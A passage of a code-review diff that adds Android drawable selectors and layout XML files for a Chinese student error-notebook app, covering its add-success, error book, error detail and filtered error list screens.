  2 + <item android:drawable="@drawable/bg_soild_blue_25" android:state_checked="true" />
  3 + <item android:drawable="@drawable/bg_solid_btn_grad" android:state_checked="false" />
  4 +</selector>
0 5 \ No newline at end of file
... ...
app/src/main/res/drawable/ic_filter_blue.png

161 Bytes

app/src/main/res/drawable/ic_filter_gray.png

153 Bytes

app/src/main/res/drawable/ic_pack_down.png

278 Bytes

app/src/main/res/drawable/ic_pack_up.png

308 Bytes

app/src/main/res/drawable/ic_select.png

619 Bytes

app/src/main/res/drawable/ic_unselect.png

458 Bytes

app/src/main/res/drawable/radio_button_selector.xml
... ... @@ -0,0 +1,4 @@
  1 +<selector xmlns:android="http://schemas.android.com/apk/res/android">
  2 + <item android:drawable="@drawable/bg_soild_blue_5" android:state_checked="true" />
  3 + <item android:drawable="@drawable/bg_soild_gray_5" android:state_checked="false" />
  4 +</selector>
0 5 \ No newline at end of file
... ...
app/src/main/res/drawable/radio_text_selector.xml
... ... @@ -0,0 +1,4 @@
  1 +<selector xmlns:android="http://schemas.android.com/apk/res/android">
  2 + <item android:color="@color/white" android:state_checked="true" />
  3 + <item android:color="@color/text_title" android:state_checked="false" />
  4 +</selector>
0 5 \ No newline at end of file
... ...
app/src/main/res/drawable/selectall_selector.xml
... ... @@ -0,0 +1,5 @@
  1 +<?xml version="1.0" encoding="UTF-8"?>
  2 +<selector xmlns:android="http://schemas.android.com/apk/res/android">
  3 + <item android:drawable="@drawable/ic_select" android:state_checked="true" />
  4 + <item android:drawable="@drawable/ic_unselect" android:state_checked="false" />
  5 +</selector>
0 6 \ No newline at end of file
... ...
app/src/main/res/drawable/selector_for_custom_spinner.xml
... ... @@ -0,0 +1,18 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
  3 + <item>
  4 + <shape>
  5 + <corners android:radius="5dp" />
  6 + <solid android:color="#F5F5F5" />
  7 +
  8 + </shape>
  9 + </item>
  10 + <item
  11 + android:right="15dp"
  12 + android:top="18dp">
  13 + <bitmap
  14 + android:gravity="end|top"
  15 + android:src="@drawable/ic_pack_down" />
  16 +
  17 + </item>
  18 +</layer-list>
... ...
app/src/main/res/drawable/shape_for_custom_spinner.xml
... ... @@ -0,0 +1,17 @@
  1 +<?xml version="1.0" encoding="utf-8"?>
  2 +<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
  3 + <item>
  4 + <shape>
  5 + <corners android:radius="5dp" />
  6 + <solid android:color="#F5F5F5" />
  7 +
  8 + </shape>
  9 + </item>
  10 + <item
  11 + android:right="15dp"
  12 + android:top="18dp">
  13 + <bitmap
  14 + android:gravity="end|top"
  15 + android:src="@drawable/ic_pack_up" />
  16 + </item>
  17 +</layer-list>
0 18 \ No newline at end of file
... ...
app/src/main/res/drawable/topic_finish_bg.xml
... ... @@ -0,0 +1,8 @@
  1 +<shape xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:shape="rectangle">
  3 + <stroke
  4 + android:width="1dp"
  5 + android:color="#1C90F3" />
  6 + <solid android:color="#331C90F3" />
  7 + <corners android:radius="5dp" />
  8 +</shape>
0 9 \ No newline at end of file
... ...
app/src/main/res/layout/activity_add_success.xml
... ... @@ -0,0 +1,71 @@
  1 +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + xmlns:tools="http://schemas.android.com/tools"
  3 + xmlns:xxx="http://schemas.android.com/apk/res-auto"
  4 + android:layout_width="match_parent"
  5 + android:layout_height="match_parent"
  6 + android:background="@color/white">
  7 +
  8 + <RelativeLayout
  9 + android:layout_width="match_parent"
  10 + android:layout_height="40dp"
  11 + android:background="@color/white">
  12 +
  13 +
  14 + <ImageView
  15 + android:id="@+id/iv_back"
  16 + android:layout_width="30dp"
  17 + android:layout_height="36dp"
  18 + android:layout_centerVertical="true"
  19 + android:layout_marginLeft="5dp"
  20 + android:padding="10dp"
  21 + android:src="@mipmap/icon_back" />
  22 + </RelativeLayout>
  23 +
  24 + <LinearLayout
  25 + android:layout_width="wrap_content"
  26 + android:layout_height="wrap_content"
  27 + android:layout_centerInParent="true"
  28 + android:orientation="vertical">
  29 +
  30 + <ImageView
  31 + android:layout_width="50dp"
  32 + android:layout_height="58dp"
  33 + android:layout_gravity="center_horizontal"
  34 + android:src="@mipmap/ic_add_success" />
  35 +
  36 + <TextView
  37 + android:layout_width="wrap_content"
  38 + android:layout_height="wrap_content"
  39 + android:layout_gravity="center_horizontal"
  40 + android:layout_marginTop="20dp"
  41 + android:text="加入错题本成功!"
  42 + android:textColor="@color/text_title"
  43 + android:textSize="20dp"
  44 + android:textStyle="bold" />
  45 +
  46 +
  47 + <TextView
  48 + android:id="@+id/tv_add"
  49 + android:layout_width="250dp"
  50 + android:layout_height="45dp"
  51 + android:layout_marginTop="40dp"
  52 + android:background="@drawable/bg_soild_blue_25"
  53 + android:gravity="center"
  54 + android:text="继续录入错题"
  55 + android:textColor="@color/white"
  56 + android:textSize="20sp"
  57 + android:visibility="visible" />
  58 +
  59 + <TextView
  60 + android:id="@+id/tv_book"
  61 + android:layout_width="250dp"
  62 + android:layout_height="45dp"
  63 + android:layout_marginTop="20dp"
  64 + android:background="@drawable/bg_soild_blue_border_25"
  65 + android:gravity="center"
  66 + android:text="去错题本查看"
  67 + android:textColor="#1C90F3"
  68 + android:textSize="20sp"
  69 + android:visibility="visible" />
  70 + </LinearLayout>
  71 +</RelativeLayout>
... ...
app/src/main/res/layout/activity_error_book.xml
... ... @@ -0,0 +1,125 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="match_parent"
  3 + android:layout_height="match_parent"
  4 + android:orientation="vertical">
  5 +
  6 + <RelativeLayout
  7 + android:layout_width="match_parent"
  8 + android:layout_height="40dp">
  9 +
  10 + <TextView
  11 + android:layout_width="wrap_content"
  12 + android:layout_height="wrap_content"
  13 + android:layout_centerInParent="true"
  14 + android:text="小星错题本"
  15 + android:textColor="#333333"
  16 + android:textSize="18sp" />
  17 +
  18 + <ImageView
  19 + android:id="@+id/iv_back"
  20 + android:layout_width="30dp"
  21 + android:layout_height="36dp"
  22 + android:layout_centerVertical="true"
  23 + android:layout_marginLeft="5dp"
  24 + android:padding="10dp"
  25 + android:src="@mipmap/icon_back" />
  26 + </RelativeLayout>
  27 +
  28 + <RelativeLayout
  29 + android:id="@+id/rl_take_photo"
  30 + android:layout_width="match_parent"
  31 + android:layout_height="200dp"
  32 + android:background="@mipmap/ic_take_photo">
  33 +
  34 + <TextView
  35 + android:layout_width="wrap_content"
  36 + android:layout_height="wrap_content"
  37 + android:layout_alignParentRight="true"
  38 + android:layout_centerVertical="true"
  39 + android:layout_marginRight="70dp"
  40 + android:text="录入错题"
  41 + android:textColor="#EDF6FF"
  42 + android:textSize="22sp"
  43 + android:textStyle="bold" />
  44 + </RelativeLayout>
  45 +
  46 + <RelativeLayout
  47 + android:layout_width="match_parent"
  48 + android:layout_height="25dp">
  49 +
  50 + <TextView
  51 + android:layout_width="wrap_content"
  52 + android:layout_height="wrap_content"
  53 + android:layout_marginLeft="15dp"
  54 + android:text="最近录入错题"
  55 + android:textColor="#333333"
  56 + android:textSize="16sp"
  57 + android:textStyle="bold" />
  58 +
  59 + <LinearLayout
  60 + android:id="@+id/ll_all"
  61 + android:layout_width="wrap_content"
  62 + android:layout_height="wrap_content"
  63 + android:layout_alignParentRight="true"
  64 + android:layout_centerVertical="true"
  65 + android:layout_marginRight="15dp">
  66 +
  67 + <TextView
  68 + android:layout_width="wrap_content"
  69 + android:layout_height="wrap_content"
  70 + android:layout_gravity="center_vertical"
  71 + android:text="查看全部"
  72 + android:textColor="#666666"
  73 + android:textSize="12sp" />
  74 +
  75 + <ImageView
  76 + android:layout_width="9dp"
  77 + android:layout_height="10dp"
  78 + android:layout_gravity="center_vertical"
  79 + android:layout_marginLeft="5dp"
  80 + android:src="@mipmap/ic_arrow_right" />
  81 + </LinearLayout>
  82 + </RelativeLayout>
  83 +
  84 + <androidx.recyclerview.widget.RecyclerView
  85 + android:id="@+id/recycle_subject"
  86 + android:layout_width="match_parent"
  87 + android:layout_height="wrap_content"
  88 + android:layout_marginLeft="15dp"
  89 + android:layout_marginTop="15dp"
  90 + android:layout_marginRight="15dp" />
  91 +
  92 + <RelativeLayout
  93 + android:layout_width="match_parent"
  94 + android:layout_height="match_parent">
  95 +
  96 + <androidx.recyclerview.widget.RecyclerView
  97 + android:id="@+id/recycle_error"
  98 + android:layout_width="match_parent"
  99 + android:layout_height="wrap_content"
  100 + android:layout_marginTop="15dp" />
  101 +
  102 + <LinearLayout
  103 + android:id="@+id/ll_empty"
  104 + android:layout_width="wrap_content"
  105 + android:layout_height="wrap_content"
  106 + android:layout_centerHorizontal="true"
  107 + android:layout_marginTop="30dp"
  108 + android:orientation="vertical"
  109 + android:visibility="gone">
  110 +
  111 + <ImageView
  112 + android:layout_width="155dp"
  113 + android:layout_height="130dp"
  114 + android:src="@mipmap/ic_empty" />
  115 +
  116 + <TextView
  117 + android:layout_width="wrap_content"
  118 + android:layout_height="wrap_content"
  119 + android:layout_gravity="center_horizontal"
  120 + android:text="暂无错题~" />
  121 + </LinearLayout>
  122 + </RelativeLayout>
  123 +
  124 +
  125 +</LinearLayout>
0 126 \ No newline at end of file
... ...
app/src/main/res/layout/activity_error_detail.xml
... ... @@ -0,0 +1,305 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + xmlns:tools="http://schemas.android.com/tools"
  3 + xmlns:xxx="http://schemas.android.com/apk/res-auto"
  4 + android:layout_width="match_parent"
  5 + android:layout_height="match_parent"
  6 + android:background="#F5F5F5"
  7 + android:orientation="vertical">
  8 +
  9 + <RelativeLayout
  10 + android:id="@+id/rl_top"
  11 + android:layout_width="match_parent"
  12 + android:layout_height="40dp"
  13 + android:background="@color/white">
  14 +
  15 + <TextView
  16 + android:id="@+id/tv_title"
  17 + android:layout_width="wrap_content"
  18 + android:layout_height="wrap_content"
  19 + android:layout_centerInParent="true"
  20 + android:ellipsize="end"
  21 + android:maxWidth="330dp"
  22 + android:singleLine="true"
  23 + android:textColor="#333333"
  24 + android:textSize="18sp" />
  25 +
  26 + <ImageView
  27 + android:id="@+id/iv_edit"
  28 + android:layout_width="40dp"
  29 + android:layout_height="40dp"
  30 + android:layout_toRightOf="@+id/tv_title"
  31 + android:padding="10dp"
  32 + android:src="@mipmap/ic_error_edit" />
  33 +
  34 + <ImageView
  35 + android:id="@+id/iv_back"
  36 + android:layout_width="30dp"
  37 + android:layout_height="36dp"
  38 + android:layout_centerVertical="true"
  39 + android:layout_marginLeft="5dp"
  40 + android:padding="10dp"
  41 + android:src="@mipmap/icon_back" />
  42 +
  43 + </RelativeLayout>
  44 +
  45 + <ScrollView
  46 + android:layout_width="match_parent"
  47 + android:layout_height="match_parent">
  48 +
  49 + <LinearLayout
  50 + android:layout_width="match_parent"
  51 + android:layout_height="wrap_content"
  52 + android:background="#F5F5F5"
  53 + android:orientation="vertical">
  54 +
  55 + <LinearLayout
  56 + android:id="@+id/ll_pic"
  57 + android:layout_width="match_parent"
  58 + android:layout_height="wrap_content"
  59 + android:background="@color/white"
  60 + android:orientation="vertical">
  61 +
  62 + <TextView
  63 + android:layout_width="wrap_content"
  64 + android:layout_height="wrap_content"
  65 + android:layout_marginLeft="15dp"
  66 + android:layout_marginTop="15dp"
  67 + android:text="原题图片"
  68 + android:textColor="@color/text_title"
  69 + android:textSize="15sp" />
  70 +
  71 + <RelativeLayout
  72 + android:layout_width="match_parent"
  73 + android:layout_height="90dp"
  74 + android:layout_marginLeft="15dp"
  75 + android:layout_marginTop="15dp"
  76 + android:layout_marginRight="15dp"
  77 + android:layout_marginBottom="15dp">
  78 +
  79 + <RelativeLayout
  80 + android:layout_width="match_parent"
  81 + android:layout_height="match_parent"
  82 + android:background="#F5F5F5">
  83 +
  84 + <ImageView
  85 + android:id="@+id/iv_topic"
  86 + android:layout_width="wrap_content"
  87 + android:layout_height="wrap_content"
  88 + android:layout_centerVertical="true" />
  89 + </RelativeLayout>
  90 + </RelativeLayout>
  91 + </LinearLayout>
  92 +
  93 + <LinearLayout
  94 + android:id="@+id/ll_origin"
  95 + android:layout_width="match_parent"
  96 + android:layout_height="wrap_content"
  97 + android:background="@color/white"
  98 + android:orientation="vertical"
  99 + tools:ignore="WebViewLayout">
  100 +
  101 + <TextView
  102 + android:layout_width="wrap_content"
  103 + android:layout_height="wrap_content"
  104 + android:layout_marginLeft="15dp"
  105 + android:layout_marginTop="15dp"
  106 + android:text="题目"
  107 + android:textColor="@color/text_title"
  108 + android:textSize="15sp" />
  109 +
  110 + <WebView
  111 + android:id="@+id/web_content"
  112 + android:layout_width="wrap_content"
  113 + android:layout_height="wrap_content"
  114 + android:layout_marginLeft="10dp"
  115 + android:layout_marginTop="10dp"
  116 + android:layout_marginBottom="10dp" />
  117 + </LinearLayout>
  118 +
  119 + <LinearLayout
  120 + android:id="@+id/ll_analyse"
  121 + android:layout_width="match_parent"
  122 + android:layout_height="wrap_content"
  123 + android:layout_marginTop="15dp"
  124 + android:background="@color/white"
  125 + android:orientation="vertical"
  126 + tools:ignore="WebViewLayout">
  127 +
  128 + <TextView
  129 + android:layout_width="wrap_content"
  130 + android:layout_height="wrap_content"
  131 + android:layout_marginLeft="15dp"
  132 + android:layout_marginTop="15dp"
  133 + android:text="解答"
  134 + android:textColor="@color/text_title"
  135 + android:textSize="15sp" />
  136 +
  137 + <LinearLayout
  138 + android:layout_width="match_parent"
  139 + android:layout_height="wrap_content"
  140 + android:layout_margin="15dp"
  141 + android:background="@drawable/bg_soild_gray_5">
  142 +
  143 + <WebView
  144 + android:id="@+id/web_analyse"
  145 + android:layout_width="wrap_content"
  146 + android:layout_height="wrap_content"
  147 + android:layout_margin="10dp" />
  148 + </LinearLayout>
  149 + </LinearLayout>
  150 +
  151 + <LinearLayout
  152 + android:id="@+id/ll_answer"
  153 + android:layout_width="match_parent"
  154 + android:layout_height="wrap_content"
  155 + android:layout_marginTop="15dp"
  156 + android:background="@color/white"
  157 + android:orientation="vertical"
  158 + tools:ignore="WebViewLayout">
  159 +
  160 + <TextView
  161 + android:layout_width="wrap_content"
  162 + android:layout_height="wrap_content"
  163 + android:layout_marginLeft="15dp"
  164 + android:layout_marginTop="15dp"
  165 + android:text="答案"
  166 + android:textColor="@color/text_title"
  167 + android:textSize="15sp" />
  168 +
  169 + <LinearLayout
  170 + android:layout_width="match_parent"
  171 + android:layout_height="wrap_content"
  172 + android:layout_margin="15dp"
  173 + android:background="@drawable/bg_soild_gray_5">
  174 +
  175 + <WebView
  176 + android:id="@+id/web_answer"
  177 + android:layout_width="wrap_content"
  178 + android:layout_height="wrap_content"
  179 + android:layout_margin="10dp" />
  180 + </LinearLayout>
  181 + </LinearLayout>
  182 +
  183 + <LinearLayout
  184 + android:id="@+id/ll_points"
  185 + android:layout_width="match_parent"
  186 + android:layout_height="wrap_content"
  187 + android:layout_marginTop="15dp"
  188 + android:background="@color/white"
  189 + android:orientation="vertical"
  190 + tools:ignore="WebViewLayout">
  191 +
  192 + <TextView
  193 + android:layout_width="wrap_content"
  194 + android:layout_height="wrap_content"
  195 + android:layout_marginLeft="15dp"
  196 + android:layout_marginTop="15dp"
  197 + android:text="知识点"
  198 + android:textColor="@color/text_title"
  199 + android:textSize="15sp" />
  200 +
  201 + <LinearLayout
  202 + android:layout_width="match_parent"
  203 + android:layout_height="40dp"
  204 + android:layout_margin="15dp"
  205 + android:background="@drawable/bg_soild_gray_5">
  206 +
  207 + <TextView
  208 + android:id="@+id/tv_points"
  209 + android:layout_width="wrap_content"
  210 + android:layout_height="wrap_content"
  211 + android:layout_gravity="center_vertical"
  212 + android:layout_marginLeft="15dp"
  213 + android:gravity="center_vertical"
  214 + android:textColor="#1C90F3"
  215 + android:textSize="14sp" />
  216 + </LinearLayout>
  217 + </LinearLayout>
  218 +
  219 + <LinearLayout
  220 + android:id="@+id/ll_reason"
  221 + android:layout_width="match_parent"
  222 + android:layout_height="wrap_content"
  223 + android:layout_marginTop="15dp"
  224 + android:background="@color/white"
  225 + android:orientation="vertical"
  226 + tools:ignore="WebViewLayout">
  227 +
  228 + <TextView
  229 + android:layout_width="wrap_content"
  230 + android:layout_height="wrap_content"
  231 + android:layout_marginLeft="15dp"
  232 + android:layout_marginTop="15dp"
  233 + android:text="错误原因"
  234 + android:textColor="@color/text_title"
  235 + android:textSize="15sp" />
  236 +
  237 + <androidx.appcompat.widget.AppCompatSpinner
  238 + android:id="@+id/spinner_reason"
  239 + style="@style/customSpinnerStyle"
  240 + android:layout_width="match_parent"
  241 + android:layout_height="40dp"
  242 + android:layout_centerHorizontal="true"
  243 + android:layout_marginLeft="15dp"
  244 + android:layout_marginTop="15dp"
  245 + android:layout_marginRight="15dp"
  246 + android:layout_marginBottom="15dp"
  247 + android:background="@drawable/selector_for_custom_spinner"
  248 + android:entries="@array/error_reason"
  249 + android:popupBackground="@drawable/shape_for_custom_spinner"
  250 + android:scrollbars="none" />
  251 + </LinearLayout>
  252 +
  253 + <LinearLayout
  254 + android:layout_width="match_parent"
  255 + android:layout_height="wrap_content"
  256 + android:layout_marginTop="15dp"
  257 + android:layout_marginBottom="15dp"
  258 + android:background="@color/white"
  259 + android:orientation="vertical"
  260 + tools:ignore="WebViewLayout">
  261 +
  262 + <TextView
  263 + android:layout_width="wrap_content"
  264 + android:layout_height="wrap_content"
  265 + android:layout_marginLeft="15dp"
  266 + android:layout_marginTop="15dp"
  267 + android:text="掌握状态"
  268 + android:textColor="@color/text_title"
  269 + android:textSize="15sp" />
  270 +
  271 + <RadioGroup
  272 + android:id="@+id/type_radio"
  273 + android:layout_width="match_parent"
  274 + android:layout_height="40dp"
  275 + android:layout_marginLeft="15dp"
  276 + android:layout_marginTop="15dp"
  277 + android:layout_marginBottom="15dp"
  278 + android:orientation="horizontal">
  279 +
  280 + <RadioButton
  281 + android:layout_width="70dp"
  282 + android:layout_height="match_parent"
  283 + android:layout_marginRight="20dp"
  284 + android:background="@drawable/radio_button_selector"
  285 + android:button="@null"
  286 + android:gravity="center"
  287 + android:text="已掌握"
  288 + android:textColor="@drawable/radio_text_selector"
  289 + android:textSize="14sp" />
  290 +
  291 + <RadioButton
  292 + android:layout_width="70dp"
  293 + android:layout_height="match_parent"
  294 + android:layout_marginRight="20dp"
  295 + android:background="@drawable/radio_button_selector"
  296 + android:button="@null"
  297 + android:gravity="center"
  298 + android:text="未掌握"
  299 + android:textColor="@drawable/radio_text_selector"
  300 + android:textSize="14sp" />
  301 + </RadioGroup>
  302 + </LinearLayout>
  303 + </LinearLayout>
  304 + </ScrollView>
  305 +</LinearLayout>
0 306 \ No newline at end of file
... ...
app/src/main/res/layout/activity_error_list.xml
... ... @@ -0,0 +1,388 @@
  1 +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + xmlns:xxx="http://schemas.android.com/apk/res-auto"
  3 + android:layout_width="match_parent"
  4 + android:layout_height="match_parent"
  5 + android:background="#F8F8F8"
  6 + android:orientation="vertical">
  7 +
  8 + <RelativeLayout
  9 + android:id="@+id/rl_top"
  10 + android:layout_width="match_parent"
  11 + android:layout_height="40dp"
  12 + android:background="@color/white">
  13 +
  14 + <TextView
  15 + android:id="@+id/tv_title"
  16 + android:layout_width="wrap_content"
  17 + android:layout_height="wrap_content"
  18 + android:layout_centerInParent="true"
  19 + android:text="错题本"
  20 + android:textColor="#333333"
  21 + android:textSize="18sp" />
  22 +
  23 + <CheckBox
  24 + android:id="@+id/checkbox"
  25 + android:layout_width="wrap_content"
  26 + android:layout_height="wrap_content"
  27 + android:layout_centerVertical="true"
  28 + android:layout_marginLeft="15dp"
  29 + android:button="@drawable/selectall_selector"
  30 + android:checked="false"
  31 + android:paddingLeft="8dp"
  32 + android:text="全选"
  33 + android:textColor="@color/text_title"
  34 + android:visibility="gone" />
  35 +
  36 + <ImageView
  37 + android:id="@+id/iv_back"
  38 + android:layout_width="30dp"
  39 + android:layout_height="36dp"
  40 + android:layout_centerVertical="true"
  41 + android:layout_marginLeft="5dp"
  42 + android:padding="10dp"
  43 + android:src="@mipmap/icon_back" />
  44 +
  45 + <TextView
  46 + android:id="@+id/tv_edit"
  47 + android:layout_width="wrap_content"
  48 + android:layout_height="wrap_content"
  49 + android:layout_alignParentRight="true"
  50 + android:layout_centerVertical="true"
  51 + android:layout_marginRight="15dp"
  52 + android:text="编辑"
  53 + android:textColor="@color/text_title"
  54 + android:visibility="visible" />
  55 + </RelativeLayout>
  56 +
  57 + <LinearLayout
  58 + android:id="@+id/ll_filter"
  59 + android:layout_width="match_parent"
  60 + android:layout_height="40dp"
  61 + android:layout_below="@+id/rl_top"
  62 + android:background="@color/white">
  63 +
  64 + <RelativeLayout
  65 + android:layout_width="0dp"
  66 + android:layout_height="40dp"
  67 + android:layout_weight="1">
  68 +
  69 + <TextView
  70 + android:id="@+id/tv_filter_subject"
  71 + android:layout_width="wrap_content"
  72 + android:layout_height="40dp"
  73 + android:layout_centerVertical="true"
  74 + android:layout_marginLeft="15dp"
  75 + android:drawableRight="@drawable/ic_filter_gray"
  76 + android:drawablePadding="5dp"
  77 + android:gravity="center_vertical"
  78 + android:text="学科"
  79 + android:textColor="@color/text_title"
  80 + android:textSize="14sp" />
  81 +
  82 + </RelativeLayout>
  83 +
  84 + <RelativeLayout
  85 + android:layout_width="0dp"
  86 + android:layout_height="40dp"
  87 + android:layout_weight="1">
  88 +
  89 + <TextView
  90 + android:id="@+id/tv_filter_grade"
  91 + android:layout_width="wrap_content"
  92 + android:layout_height="40dp"
  93 + android:layout_centerVertical="true"
  94 + android:drawableRight="@drawable/ic_filter_gray"
  95 + android:drawablePadding="5dp"
  96 + android:gravity="center_vertical"
  97 + android:text="年级学期"
  98 + android:textColor="@color/text_title"
  99 + android:textSize="14sp" />
  100 + </RelativeLayout>
  101 +
  102 + <RelativeLayout
  103 + android:layout_width="0dp"
  104 + android:layout_height="40dp"
  105 + android:layout_weight="1">
  106 +
  107 + <TextView
  108 + android:id="@+id/tv_filter_manage"
  109 + android:layout_width="wrap_content"
  110 + android:layout_height="40dp"
  111 + android:layout_centerVertical="true"
  112 + android:layout_marginLeft="10dp"
  113 + android:drawableRight="@drawable/ic_filter_gray"
  114 + android:drawablePadding="5dp"
  115 + android:gravity="center_vertical"
  116 + android:text="掌握情况"
  117 + android:textColor="@color/text_title"
  118 + android:textSize="14sp" />
  119 + </RelativeLayout>
  120 +
  121 + <RelativeLayout
  122 + android:layout_width="0dp"
  123 + android:layout_height="40dp"
  124 + android:layout_weight="1">
  125 +
  126 + <TextView
  127 + android:id="@+id/tv_filter_more"
  128 + android:layout_width="wrap_content"
  129 + android:layout_height="40dp"
  130 + android:layout_alignParentRight="true"
  131 + android:layout_centerVertical="true"
  132 + android:layout_marginRight="15dp"
  133 + android:drawableRight="@drawable/ic_filter_gray"
  134 + android:drawablePadding="5dp"
  135 + android:gravity="center_vertical"
  136 + android:text="更多筛选"
  137 + android:textColor="@color/text_title"
  138 + android:textSize="14sp" />
  139 + </RelativeLayout>
  140 +
  141 + </LinearLayout>
  142 +
  143 + <androidx.recyclerview.widget.RecyclerView
  144 + android:id="@+id/recycle"
  145 + android:layout_width="match_parent"
  146 + android:layout_height="match_parent"
  147 + android:layout_above="@+id/rl_bottom"
  148 + android:layout_below="@+id/ll_filter"
  149 + android:layout_marginTop="15dp" />
  150 +
  151 + <LinearLayout
  152 + android:id="@+id/ll_filter_common"
  153 + android:layout_width="match_parent"
  154 + android:layout_height="wrap_content"
  155 + android:layout_below="@+id/ll_filter"
  156 + android:background="@drawable/bg_solid_white_10_bottom"
  157 + android:visibility="visible">
  158 +
  159 + <androidx.recyclerview.widget.RecyclerView
  160 + android:id="@+id/recycle_filter"
  161 + android:layout_width="match_parent"
  162 + android:layout_height="wrap_content"
  163 + android:layout_marginLeft="15dp"
  164 + android:layout_marginTop="15dp"
  165 + android:visibility="gone" />
  166 + </LinearLayout>
  167 +
  168 + <LinearLayout
  169 + android:id="@+id/ll_filter_more"
  170 + android:layout_width="match_parent"
  171 + android:layout_height="wrap_content"
  172 + android:layout_below="@+id/ll_filter"
  173 + android:background="@drawable/bg_solid_white_10_bottom"
  174 + android:orientation="vertical"
  175 + android:visibility="gone">
  176 +
  177 + <TextView
  178 + android:layout_width="wrap_content"
  179 + android:layout_height="wrap_content"
  180 + android:layout_marginLeft="15dp"
  181 + android:layout_marginTop="15dp"
  182 + android:text="来源"
  183 + android:textColor="@color/text_title"
  184 + android:textSize="14sp"
  185 + android:textStyle="bold" />
  186 +
  187 + <RadioGroup
  188 + android:id="@+id/group_type"
  189 + android:layout_width="match_parent"
  190 + android:layout_height="30dp"
  191 + android:layout_marginLeft="15dp"
  192 + android:layout_marginTop="15dp"
  193 + android:layout_marginRight="15dp"
  194 + android:orientation="horizontal">
  195 +
  196 + <RadioButton
  197 + android:layout_width="0dp"
  198 + android:layout_height="match_parent"
  199 + android:layout_marginRight="15dp"
  200 + android:layout_weight="1"
  201 + android:background="@drawable/filter_button_selector"
  202 + android:button="@null"
  203 + android:gravity="center"
  204 + android:text="课内"
  205 + android:textColor="@drawable/radio_text_selector"
  206 + android:textSize="14sp" />
  207 +
  208 + <RadioButton
  209 + android:layout_width="0dp"
  210 + android:layout_height="match_parent"
  211 + android:layout_marginRight="15dp"
  212 + android:layout_weight="1"
  213 + android:background="@drawable/filter_button_selector"
  214 + android:button="@null"
  215 + android:gravity="center"
  216 + android:text="课外"
  217 + android:textColor="@drawable/radio_text_selector"
  218 + android:textSize="14sp" />
  219 +
  220 + <RadioButton
  221 + android:layout_width="0dp"
  222 + android:layout_height="match_parent"
  223 + android:layout_marginRight="15dp"
  224 + android:layout_weight="1"
  225 + android:background="@drawable/filter_button_selector"
  226 + android:button="@null"
  227 + android:gravity="center"
  228 + android:text="全部"
  229 + android:textColor="@drawable/radio_text_selector"
  230 + android:textSize="14sp" />
  231 +
  232 + <View
  233 + android:layout_width="0dp"
  234 + android:layout_height="match_parent"
  235 + android:layout_weight="1" />
  236 + </RadioGroup>
  237 +
  238 + <TextView
  239 + android:layout_width="wrap_content"
  240 + android:layout_height="wrap_content"
  241 + android:layout_marginLeft="15dp"
  242 + android:layout_marginTop="15dp"
  243 + android:text="录入时间"
  244 + android:textColor="@color/text_title"
  245 + android:textSize="14sp"
  246 + android:textStyle="bold" />
  247 +
  248 + <RadioGroup
  249 + android:id="@+id/group_time"
  250 + android:layout_width="match_parent"
  251 + android:layout_height="30dp"
  252 + android:layout_marginLeft="15dp"
  253 + android:layout_marginTop="15dp"
  254 + android:layout_marginRight="15dp"
  255 + android:layout_marginBottom="15dp"
  256 + android:orientation="horizontal">
  257 +
  258 + <RadioButton
  259 + android:layout_width="0dp"
  260 + android:layout_height="match_parent"
  261 + android:layout_marginRight="15dp"
  262 + android:layout_weight="1"
  263 + android:background="@drawable/filter_button_selector"
  264 + android:button="@null"
  265 + android:gravity="center"
  266 + android:text="一周内"
  267 + android:textColor="@drawable/radio_text_selector"
  268 + android:textSize="14sp" />
  269 +
  270 + <RadioButton
  271 + android:layout_width="0dp"
  272 + android:layout_height="match_parent"
  273 + android:layout_marginRight="15dp"
  274 + android:layout_weight="1"
  275 + android:background="@drawable/filter_button_selector"
  276 + android:button="@null"
  277 + android:gravity="center"
  278 + android:text="一个月内"
  279 + android:textColor="@drawable/radio_text_selector"
  280 + android:textSize="14sp" />
  281 +
  282 + <RadioButton
  283 + android:layout_width="0dp"
  284 + android:layout_height="match_parent"
  285 + android:layout_marginRight="15dp"
  286 + android:layout_weight="1"
  287 + android:background="@drawable/filter_button_selector"
  288 + android:button="@null"
  289 + android:gravity="center"
  290 + android:text="三个月内"
  291 + android:textColor="@drawable/radio_text_selector"
  292 + android:textSize="14sp" />
  293 +
  294 + <RadioButton
  295 + android:layout_width="0dp"
  296 + android:layout_height="match_parent"
  297 + android:layout_marginRight="15dp"
  298 + android:layout_weight="1"
  299 + android:background="@drawable/filter_button_selector"
  300 + android:button="@null"
  301 + android:gravity="center"
  302 + android:text="全部"
  303 + android:textColor="@drawable/radio_text_selector"
  304 + android:textSize="14sp" />
  305 + </RadioGroup>
  306 + </LinearLayout>
  307 +
  308 +
  309 + <LinearLayout
  310 + android:id="@+id/ll_empty"
  311 + android:layout_width="wrap_content"
  312 + android:layout_height="wrap_content"
  313 + android:layout_above="@+id/rl_bottom"
  314 + android:layout_below="@+id/ll_filter"
  315 + android:layout_centerHorizontal="true"
  316 + android:layout_marginTop="150dp"
  317 + android:orientation="vertical"
  318 + android:visibility="gone">
  319 +
  320 + <ImageView
  321 + android:layout_width="155dp"
  322 + android:layout_height="130dp"
  323 + android:src="@mipmap/ic_empty" />
  324 +
  325 + <TextView
  326 + android:layout_width="wrap_content"
  327 + android:layout_height="wrap_content"
  328 + android:layout_gravity="center_horizontal"
  329 + android:text="暂无错题~" />
  330 + </LinearLayout>
  331 +
  332 + <RelativeLayout
  333 + android:id="@+id/rl_bottom"
  334 + android:layout_width="match_parent"
  335 + android:layout_height="70dp"
  336 + android:layout_alignParentBottom="true"
  337 + android:background="@color/white">
  338 +
  339 + <TextView
  340 + android:id="@+id/tv_add"
  341 + android:layout_width="280dp"
  342 + android:layout_height="40dp"
  343 + android:layout_centerInParent="true"
  344 + android:background="@drawable/bg_soild_blue_5"
  345 + android:gravity="center"
  346 + android:text="录入错题"
  347 + android:textColor="@color/white"
  348 + android:textSize="18sp" />
  349 +
  350 + <LinearLayout
  351 + android:id="@+id/ll_delete"
  352 + android:layout_width="wrap_content"
  353 + android:layout_height="wrap_content"
  354 + android:layout_centerVertical="true"
  355 + android:layout_marginLeft="15dp"
